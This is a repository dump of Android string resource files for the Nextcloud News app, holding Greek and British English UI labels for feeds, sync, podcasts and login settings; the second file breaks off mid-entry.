    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Αυτόματος συγχρονισμός</string>\n    <string name=\"title_activity_sync_interval_selector\">Διάστημα συγχρονισμού</string>\n    <string name=\"empty_view_content\">Κανένα στοιχείο</string>\n    <string name=\"empty_view_content_action\">Σύρετε προς τα κάτω για ανανέωση</string>\n    <string name=\"toast_GettingMoreItems\">Η λήψη περισσότερων στοιχείων ξεκίνησε. Παρακαλώ περιμένετε …</string>\n    <string name=\"no_wifi_available\">Δεν υπάρχει ασύρματη σύνδεση</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Θέλετε να κάνετε λήψη των εικόνων χωρίς σύνδεση Wi-Fi;</string>\n    <string name=\"current_version\">Χρησιμοποιείτε την έκδοση %s</string>\n    <string name=\"widget_header\">Νέα Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d νέο αντικείμενο διαθέσιμο</item>\n        <item quantity=\"other\">%d νέα αντικείμενα διαθέσιμα</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Επαναφόρτωση</string>\n    <string name=\"allUnreadFeeds\">Όλα τα μη ανεγνωσμένα</string>\n    <string name=\"starredFeeds\">Επισημασμένα αντικείμενα</string>\n    <string name=\"downloadedPodcasts\">Κατεβασμένα podcasts</string>\n    <string name=\"title_activity_new_feed\">Προσθήκη νέας ροής</string>\n\n    <string name=\"menu_update\">Ανανέωση </string>\n    <string name=\"menu_markAllAsRead\">Σημείωση όλων ως ανεγνωσμένων</string>\n    <string name=\"menu_StartImageCaching\">Λήψη εικόνων</string>\n    <string name=\"menu_downloadMoreItems\">Λήψη περισσότερων αντικειμένων</string>\n\n    <string name=\"tv_showing_cached_version\">Προβολή προσωρινής αποθηκευμένης έκδοσης</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Με αστέρι</string>\n    <string name=\"action_read\">Ανάγνωση</string>\n    <string name=\"action_playPodacst\">Αναπαραγωγή Podcast</string>\n    <string name=\"action_removePodcast\">Κατάργηση πολυμέσων podcast</string>\n    <string name=\"action_openInBrowser\">Άνοιγμα στον περιηγητή</string>\n    <string name=\"action_Share\">Διαμοιρασμός</string>\n    <string name=\"action_login\">Ρυθμίσεις Διακομιστή</string>\n    <string name=\"action_save\">Αποθήκευση</string>\n    <string name=\"action_settings\">Ρυθμίσεις</string>\n    <string name=\"action_sync_settings\">Επιλογές συγχρονισμού</string>\n    <string name=\"action_add_new_feed\">Προσθήκη νέας ροής</string>\n    <string name=\"action_add_new_folder\">Προσθήκη νέου φακέλου</string>\n    <string name=\"action_textToSpeech\">Ανάγνωση από</string>\n    <string name=\"action_search\">Αναζήτηση</string>\n    <string name=\"action_download_articles_offline\">Λήψη άρθρων σε αποσύνδεση</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Λήψη άρθρων για χρήση σε αποσύνδεση</string>\n    <string name=\"notification_download_images_offline\">Λήψη εικόνων για χρήση σε αποσύνδεση</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Έχετε %d νέο αδιάβαστο αντικείμενο</item>\n        <item quantity=\"other\">Έχετε %d νέα αδιάβαστα αντικείμενα</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d νέο αντικείμενο διαθέσιμο</item>\n        <item quantity=\"other\">%d νέα αδιάβαστα αντικείμενα διαθέσιμα</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL Ροής</string>\n    <string name=\"action_add_feed\">Προσθήκη ροής</string>\n    <string name=\"import_opml\">Εισαγωγή OPML</string>\n    <string name=\"export_opml\">Εξαγωγή OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Λήψη εικόνας</string>\n    <string name=\"action_img_sharelink\">Μοιραστείτε Σύνδεσμο Εικόνας</string>\n    <string name=\"action_img_open\">Άνοιγμα εικόνας στον περιηγητή</string>\n    <string name=\"action_img_copylink\">Αντιγραφή συνδέσμου εικόνας</string>\n    <string name=\"action_link_share\">Διαμοιρασμός συνδέσμου</string>\n    <string name=\"action_link_open\">Άνοιγμα συνδέσμου στον περιηγητή</string>\n    <string name=\"action_link_copy\">Αντιγραφή συνδέσμου</string>\n    <string name=\"toast_img_download_wait\">Λήψη. Παρακαλώ περιμένετε …</string>\n    <string name=\"toast_img_saved\">Η εικόνα αποθηκεύτηκε</string>\n    <string name=\"toast_img_notwriteable\">Αποτυχία Εγγραφής Εικόνας.</string>\n    <string name=\"toast_copied_to_clipboard\">Αντιγράφηκε στο πρόχειρο</string>\n    <string name=\"error_download_failed\">Η λήψη απέτυχε</string>\n    <string name=\"intent_title_share\">Κοινοποίηση μέσω</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Αφαίρεση Ροής</string>\n    <string name=\"action_feed_rename\">Μετονομασία Ροής</string>\n    <string name=\"action_feed_move\">Μετακίνηση Ροής</string>\n    <string name=\"action_feed_notification_settings\">Ρυθμίσεις ειδοποιήσεων</string>\n    <string name=\"action_feed_open_in\">Ρυθμίσεις ανοίγματος</string>\n    <string name=\"action_feed_open_in_general_setting\">Χρήση γενικών ρυθμίσεων</string>\n    <string name=\"action_feed_open_in_detailed_view\">Λεπτομερής προβολή</string>\n    <string name=\"feed_remove_button\">Αφαίρεση</string>\n    <string name=\"feed_rename_button\">Μετονομασία</string>\n    <string name=\"confirm_feed_remove\">Θέλετε πραγματικά να αφαιρέσετε αυτή την Ροή; Αυτό δεν μπορεί να αναιρεθεί!</string>\n    <string name=\"feed_move_list_description\">Επιλέξτε το φάκελο που θα μετακινηθεί η ροή</string>\n    <string name=\"move_feed_root_folder\">Αρχικός φάκελος</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Κατάργηση φακέλου</string>\n    <string name=\"action_folder_rename\">Μετονομασία φακέλου</string>\n    <string name=\"folder_remove_button\">Κατάργηση</string>\n    <string name=\"folder_rename_button\">Μετονομασία</string>\n    <string name=\"confirm_folder_remove\">Θέλετε πραγματικά να καταργήσετε αυτόν τον φάκελο; Αυτό δεν μπορεί να αναιρεθεί!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Λάβετε μοναδικές ειδοποιήσεις για αυτήν τη ροή</string>\n    <string name=\"notification_feed_default\">Όλες οι ροές με τις προεπιλεγμένες ρυθμίσεις θα εμφανίζονται σε μία ειδοποίηση</string>\n    <string name=\"notification_feed_none\">Δεν υπάρχουν ειδοποιήσεις</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Προσθήκη</string>\n    <string name=\"hint_folder_name\">Όνομα φακέλου</string>\n    <string name=\"folder_already_exists\">Ο φάκελος υπάρχει ήδη</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Χειροκίνητη είσοδος</string>\n    <string name=\"login_sso\">Είσοδος χρήστη μεσω εφαρμογής Nextclound Files App</string>\n    <string name=\"pref_title_username\">Όνομα χρήστη</string>\n    <string name=\"pref_title_password\">Συνθηματικό</string>\n    <string name=\"pref_title_owncloudRootPath\">Διεύθυνση ριζικού καταλόγου ownCloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Είσοδος</string>\n    <string name=\"login_progress_signing_in\">Σύνδεση…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Αυτό το πεδίο είναι απαραίτητο</string>\n    <string name=\"error_invalid_url\">Εσφαλμένη URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Επισήμανση %d στοιχείου ως αναγνωσμένου</item>\n        <item quantity=\"other\">Επισήμανση %d στοιχείων ως αναγνωσμένων</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Λήφθηκε %d παλαιό αντικείμενο</item>\n        <item quantity=\"other\">Λήφθηκαν %d παλαιά αντικείμενα</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Δεν υπάρχουν επιπλέον στοιχεία διαθέσιμα</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Ανακτήθηκε %d στοιχείο μέχρι στιγμής…</item>\n        <item quantity=\"other\">Ανακτήθηκαν %d στοιχεία μέχρι στιγμής …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Ρυθμίσεις</string>\n    <string name=\"cache_is_cleared\">Η προσωρινή μνήμη εκκαθαρίστηκε!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Γενικά</string>\n    <string name=\"pref_title_general_sort_order\">Σειρά ταξινόμησης</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Νέο →  Παλιό</string>\n    <string name=\"pref_general_sort_order_old_new\">Παλιό → Νέο</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Ενέργεια με κύληση δεξιά</string>\n    <string name=\"pref_rename_action_swipe_left\">Ενέργεια με κύληση αριστερά</string>\n\n    <string name=\"pref_title_general_search_in\">Αναζήτηση σε</string>\n\n    <string name=\"pref_general_search_in_title\">Τίτλος</string>\n    <string name=\"pref_general_search_in_body\">Σώμα</string>\n    <string name=\"pref_general_search_in_both\">Και τα δύο</string>\n\n    <string name=\"dialog_clearing_cache\">Εκκαθάριση προσωρινής μνήμης</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Εκκαθάριση προσωρινής μνήμης. Παρακαλώ περιμένετε …</string>\n    <string name=\"reset_cache_unsaved_changes\">Υπάρχουν αλλαγές που δεν έχουν συγχρονιστεί. Θα θέλατε να επαναφέρετε τα αποθηκευμένα στοιχεία ούτως ή άλλως;</string>\n    <string name=\"warning\">Προειδοποίηση</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Συγχρονισμός κατά την έναρξη</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Εμφάνιση μόνο μη αναγνωσμένων άρθρων</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Απενεργοποίηση επαλήθευσης Ονόματος Υπολογιστή</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Περιήγηση με πλήκτρα έντασης φωνής</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Σημείωση ως αναγνωσμένου κατά την κύλιση</string>\n    <string name=\"pref_title_ShowFastActions\">Ενεργοποιήστε τις λειτουργίες γρήγορης πρόσβασης</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Παράλειψη λεπτομερούς προβολής και άνοιγμα αρχείου στον περιηγητή</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Το κουμπί «Πίσω» ανοίγει το συρτάρι</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Αποδοχή Άγνωστων Πιστοποιητικών;</string>\n    <string name=\"mtm_decision_always\">Πάντα</string>\n    <string name=\"mtm_decision_abort\">Ματαίωση</string>\n    <string name=\"mtm_notification\">Επαλήθευση Πιστοποιητικού</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Δεν επιλέχθηκε Podcast</string>\n    <string name=\"no_chapters_available\">Δεν υπάρχουν διαθέσιμα κεφάλαια</string>\n    <string name=\"exit_playback\">Έξοδος από τον αναπαραγωγέα</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Ταχύτητα Αναπαραγωγής</string>\n    <string name=\"notification_downloading_podcast_title\">Γίνεται λήψη podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Είστε σίγουροι;</string>\n    <string name=\"dialog_podcast_remove_body\">Θέλετε να καταργήσετε τα ληφθέντα αρχεία πολυμέσων για %1$s;</string>\n    <string name=\"dialog_podcast_status_failed\">Αποτυχία κατάργησης μέσου για %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Τα πολυμέσα για %1$s έχουν αφαιρεθεί</string>\n    <string name=\"dialog_podcast_remove_confirm\">Αφαίρεση</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Περί</string>\n    <string name=\"pref_license\">Άδεια χρήσης</string>\n    <string name=\"pref_license_summary\">Γενική Άδεια Δημόσιας Χρήσης GNU (AGPL), έκδοση 3</string>\n    <string name=\"pref_report_issue\">Αναφορά προβλήματος </string>\n    <string name=\"pref_report_issue_summary\">Απαιτείται ένας (δωρεάν) λογαριασμός στο GitHub </string>\n    <string name=\"pref_contribute\">Συνεισφέρετε!</string>\n    <string name=\"pref_contribute_summary\">Λήψη πηγαίου κώδικα</string>\n    <string name=\"pref_privacy\">Ιδιωτικότητα</string>\n    <string name=\"pref_privacy_summary\">Πολιτική απορρήτου Android Nextcloud News</string>\n    <string name=\"pref_news_policy\">Επικοινωνήστε μαζί μας / Πολιτική ειδήσεων</string>\n    <string name=\"pref_news_policy_summary\">Νέα Nextcloud Νέα Android Πολιτική / Επικοινωνήστε μαζί μας</string>\n    <string name=\"pref_version\">Εφαρμογή Android Nextcloud News</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Εμφάνιση</string>\n    <string name=\"pref_title_app_theme\">Θέμα</string>\n    <string name=\"pref_title_feed_list_layout\">Προβολή λίστας ροών</string>\n    <string name=\"pref_title_font_size\">Μέγεθος φόντου</string>\n    <string name=\"pref_display_browser\">Περιηγητής</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Εικονίδια ενεργειών (Προβολή Λεπτομερειών)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Προεπιλογή συστήματος</string>\n    <string name=\"pref_display_apptheme_light\">Φωτεινό</string>\n    <string name=\"pref_display_apptheme_dark\">Σκούρο</string>\n\n    <string name=\"pref_oled_mode\">Μαύρο φόντο</string>\n    <string name=\"pref_oled_mode_summary\">Σκούρο θέμα για οθόνες OLED</string>\n\n    <string name=\"pref_external_player\">Εξωτερικό πρόγραμμα αναπαραγωγής</string>\n    <string name=\"pref_external_player_summary\">Αναπαραγωγή podcasts στην προεπιλεγμένη εφαρμογή πολυμέσων</string>\n\n    <string name=\"pref_display_browser_cct\">Ενσωματωμένες καρτέλες Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Ενσωματωμένος Περιηγητής</string>\n    <string name=\"pref_display_browser_external\">Εξωτερικός περιηγητής</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Μικρογραφίες (μόνο τίτλοι)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Μικρογραφίες</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Απλό κείμενο</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Επικεφαλίδες</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Πλήρες κείμενο</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Πρότυπο ιστού</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Προβολή κάρτας</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Μικρό</string>\n    <string name=\"pref_display_font_size_d\">Προεπιλογή</string>\n    <string name=\"pref_display_font_size_l\">Μεγάλο</string>\n    <string name=\"pref_display_font_size_xl\">Πολύ Μεγάλο</string>\n\n    <string name=\"content_desc_play\">Αναπαραγωγή</string>\n    <string name=\"content_desc_pause\">Παύση</string>\n    <string name=\"content_desc_playback_speed\">Ταχύτητα αναπαραγωγής</string>\n    <string name=\"content_desc_rewind\">Επαναφορά</string>\n    <string name=\"content_desc_forward\">Προώθηση</string>\n    <string name=\"content_desc_expand\">Επεκτείνω</string>\n    <string name=\"content_desc_collapse\">Σύμπτυξη</string>\n    <string name=\"content_desc_mark_as_read\">Σήμανση ως αναγνωσμένο</string>\n    <string name=\"content_desc_mark_as_unread\">επισήμανση ως μή-αναγνωσμένο</string>\n    <string name=\"content_desc_tap_to_refresh\">Πατήστε για ανανέωση</string>\n    <string name=\"content_desc_add_to_favorites\">Προσθήκη στα αγαπημένα </string>\n    <string name=\"content_desc_remove_from_favorites\">Αφαίρεση από τα αγαπημένα</string>\n    <string name=\"content_desc_show_password\">Εμφάνιση κωδικού</string>\n    <string name=\"content_desc_delete\">Διαγραφή</string>\n    <string name=\"content_desc_download\">Λήψη</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Σφάλμα</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Η εφαρμογή ειδήσεων δεν είναι εγκατεστημένη ή είναι ανενεργή στον διακομιστή. Παρακαλώ ακολουθήστε τις παρακάτω οδηγίες για ενεργοποίησή της %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Κάτι πήγε στραβά :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Η εφαρμογή Web News App επιστρέφει Έκδοση \\\"0\\\". Παρακαλώ ελέξτε την παρακάτω αναφορά βλάβης: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Η έκδοση αυτής της Εφαρμογής δεν είναι συμβατή με την Εφαρμογή Ειδήσεων του Nextclound.</string>\n    <string name=\"login_dialog_title_security_warning\">Προειδοποίηση Ασφαλείας</string>\n    <string name=\"login_dialog_text_security_warning\">Δεν γίνετε χρήση του HTTPS, οπου συνιστάται οπωσδήποτε. Κάποιος κακόβουλος μπορεί να ελέγξη την κίνησή σας και να έχει πρόσβαση σε ευαίσθητα δεδομένα (π.χ τον κωδικό σας).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Κάτι πήγε στραβά. Παρακαλούμε προσπαθήστε ξανά.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Δεδομένα &amp; συγχρονισμός</string>\n    <string name=\"pref_title_clearCache\">Εκκαθάριση προσωρινής μνήμης</string>\n    <string name=\"pref_title_CacheImagesOffline\">Αποθήκευση εικόνων για χρήση χωρίς σύνδεση</string>\n    <string name=\"pref_title_Max_Cache_Size\">Μέγιστο μέγεθος στοιχείων προς αποθήκευση</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Ποτέ</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Μόνο μέσω WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Μέσω WiFi &amp; Κινητής</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Ερώτηση αν δεν υπάρχει σύνδεση WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Ποτέ</string>\n    <string name=\"array_sync_interval_min_5\">5 λεπτά</string>\n    <string name=\"array_sync_interval_min_15\">15 λεπτά</string>\n    <string name=\"array_sync_interval_min_30\">30 λεπτά</string>\n    <string name=\"array_sync_interval_min_45\">45 λεπτά</string>\n    <string name=\"array_sync_interval_hour_1\">1 ώρα</string>\n    <string name=\"array_sync_interval_hour_2\">2 ώρες</string>\n    <string name=\"array_sync_interval_hour_3\">3 ώρες</string>\n    <string name=\"array_sync_interval_hour_6\">6 ώρες</string>\n    <string name=\"array_sync_interval_hour_12\">12 ώρες</string>\n    <string name=\"array_sync_interval_hour_24\">24 ώρες</string>\n    <string name=\"switch_account\">Αλλαγή λογαριασμού</string>\n    \n    <string name=\"successfully_exported\">Επιτυχής εξαγωγή σε:</string>\n    <string name=\"opml_export\">Εξαγωγή OPML</string>\n    <string name=\"parsing_opml\">Ανάλυση OPML</string>\n    <string name=\"please_wait\">Παρακαλώ περιμένετε ...</string>\n    <string name=\"interval_sync_title\">Διάστημα συγχρονισμού</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-en-rGB/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Auto sync</string>\n    <string name=\"title_activity_sync_interval_selector\">Sync Interval</string>\n    <string name=\"empty_view_content\">No items here</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"toast_GettingMoreItems\">Download of more items started. Please wait …</string>\n    <string name=\"no_wifi_available\">No WiFi connection</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Do you want to download the images without a Wi-Fi connection?</string>\n    <string name=\"current_version\">You\\'re using Version %s</string>\n    <string name=\"widget_header\">ownCloud News</string>\n    <string name=\"message_bar_scroll_top\">Reload and scroll to the top</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d new item available</item>\n        <item quantity=\"other\">%d new items available</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Reload</string>\n    <string name=\"allUnreadFeeds\">All unread items</string>\n    <string name=\"starredFeeds\">Starred items</string>\n    <string name=\"downloadedPodcasts\">Downloaded podcasts</string>\n    <string name=\"title_activity_new_feed\">Add new feed</string>\n\n    <string name=\"menu_update\">Refresh</string>\n    <string name=\"menu_markAllAsRead\">Mark all as read</string>\n    <string name=\"menu_StartImageCaching\">Download images</string>\n    <string name=\"menu_downloadMoreItems\">Download more items</string>\n\n    <string name=\"tv_showing_cached_version\">Showing cached version</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Starred</string>\n    <string name=\"action_read\">Read</string>\n    <string name=\"action_playPodacst\">Play Podcast</string>\n    <string name=\"action_removePodcast\">Remove Podcast Media</string>\n    <string name=\"action_openInBrowser\">Open in Web browser</string>\n    <string name=\"action_Share\">Share</string>\n    <string name=\"action_login\">Server Settings</string>\n    <string name=\"action_save\">Save</string>\n    <string name=\"action_settings\">Settings</string>\n    <string name=\"action_sync_settings\">Sync Settings</string>\n    <string name=\"action_add_new_feed\">Add new feed</string>\n    <string name=\"action_add_new_folder\">Add new folder</string>\n    <string name=\"action_textToSpeech\">Read out</string>\n    <string name=\"action_search\">Search</string>\n    <string name=\"action_download_articles_offline\">Download articles offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Downloading articles for offline usage</string>\n    <string name=\"notification_download_images_offline\">Downloading images for offline usage</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">You have %d new unread item</item>\n        <item quantity=\"other\">You have %d new unread items</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d new unread item available</item>\n        <item quantity=\"other\">%d new unread items available</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Feed URL</string>\n    <string name=\"action_add_feed\">Add feed</string>\n    <string name=\"import_opml\">Import OPML</string>\n    <string name=\"export_opml\">Export OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Download Image</string>\n    <string name=\"action_img_sharelink\">Share Image Link</string>\n    <string name=\"action_img_open\">Open Image in Browser</string>\n    <string name=\"action_img_copylink\">Copy Image Link</string>\n    <string name=\"action_link_share\">Share Link</string>\n    <string name=\"action_link_open\">Open Link in Browser</string>\n    <string name=\"action_link_copy\">Copy Link</string>\n    <string name=\"toast_img_download_wait\">Downloading. Please wait …</string>\n    <string name=\"toast_img_saved\">Image saved</string>\n    <string name=\"toast_img_notwriteable\">Failed to write Image.</string>\n    <string name=\"toast_copied_to_clipboard\">Copied to clipboard</string>\n    <string name=\"error_download_failed\">Download failed</string>\n    <string name=\"intent_title_share\">Share via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Remove Feed</string>\n    <string name=\"action_feed_rename\">Rename Feed</string>\n    <string name=\"action_feed_move\">Move Feed</string>\n    <string name=\"action_feed_notification_settings\">Notification settings</string>\n    <string name=\"action_feed_open_in\">Open-in settings</string>\n    <string name=\"action_feed_open_in_general_setting\">Use general setting</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detailed view</string>\n    <string name=\"feed_remove_button\">Remove</string>\n    <string name=\"feed_rename_button\">Rename</string>\n    <string name=\"confirm_feed_remove\">Do you really want to remove this Feed? This cannot be undone!</string>\n    <string name=\"feed_move_list_description\">Select folder to move feed in</string>\n    <string name=\"move_feed_root_folder\">Root folder</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Remove folder</string>\n    <string name=\"action_folder_rename\">Rename folder</string>\n    <string name=\"folder_remove_button\">Remove</string>\n    <string name=\"folder_rename_button\">Rename</string>\n    <string name=\"confirm_folder_remove\">Do you really want to remove this folder? This cannot be undone!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Receive individual notification for this feed</string>\n    <string name=\"notification_feed_default\">All feeds with the default settings will appear in one notification</string>\n    <string name=\"notification_feed_none\">No notifications at all</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Add</string>\n    <string name=\"hint_folder_name\">Folder name</string>\n    <string name=\"folder_already_exists\">The folder already exists</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manual login</string>\n    <string name=\"login_sso\">Login using Nextcloud Files App</string>\n    <string name=\"pref_title_username\">Username</string>\n    <string name=\"pref_title_password\">Password</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud root address</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Sign in</string>\n    <string name=\"login_progress_signing_in\">Signing in …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">This field is required</string>\n    <string name=\"error_invalid_url\">Incorrect URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Marked %d item as read</item>\n        <item quantity=\"other\">Marked %d items as read</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Downloaded %d old item</item>\n        <item quantity=\"other\">Downloaded %d old items</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No further items available</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Fetched %d item so far …</item>\n        <item quantity=\"other\">Fetched %d items so far …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Settings</string>\n    <string name=\"cache_is_cleared\">Cache is cleared!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Sort Order</string>\n\n    <string name=\"pref_general_sort_order_new_old\">New → Old</string>\n    <string name=\"pref_general_sort_order_old_new\">Old → New</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Action when swiping right</string>\n    <string name=\"pref_rename_action_swipe_left\">Action when swiping left</string>\n\n    <string name=\"pref_title_general_search_in\">Search In</string>\n\n    <string name=\"pref_general_search_in_title\">Title</string>\n    <string name=\"pref_general_search_in_body\">Body</string>\n    <string name=\"pref_general_search_in_both\">Both</string>\n\n    <string name=\"dialog_clearing_cache\">Clearing cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Clearing cache. Please wait …</string>\n    <string name=\"reset_cache_unsaved_changes\">There are unsynchronised changes. Would you like to reset the cache anyway?</string>\n    <string name=\"warning\">Warning</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sync on startup</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Show only unread articles</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Disable Hostname Verification</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigate with volume buttons</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Mark as read whilst scrolling</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sync when scrolled to bottom</string>\n    <string name=\"pref_title_ShowFastActions\">Activate fast access functions</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Skip detailed view and open article in the browser</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Back button opens drawer</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Accept Unknown Certificate?</string>\n    <string name=\"mtm_decision_always\">Always</string>\n    <string name=\"mtm_decision_abort\">Abort</string>\n    <string name=\"mtm_notification\">Certificate Verification</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No podcast selected</string>\n    <string name=\"no_chapters_available\">No chapters available</string>\n    <string name=\"exit_playback\">Exit Player</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Playback Speed</string>\n    <string name=\"notification_downloading_podcast_title\">Downloading podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Are you sure?</string>\n    <string name=\"dialog_podcast_remove_body\">Do you want to remove downloaded media for %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Failed to remove media for %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Media for %1$s has been removed</string>\n    <string name=\"dialog_podcast_remove_confirm\">Remove</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">About</string>\n    <string name=\"pref_license\">License</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Report an issue</string>\n    <string name=\"pref_report_issue_summary\">Requires a (free) GitHub account</string>\n    <string name=\"pref_contribute\">Contribute!</string>\n    <string name=\"pref_contribute_summary\">Get the source code</string>\n    <string name=\"pref_privacy\">Privacy</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android Privacy Policy</string>\n    <string name=\"pref_news_policy\">Contact Us / News Policy</string>\n    <string 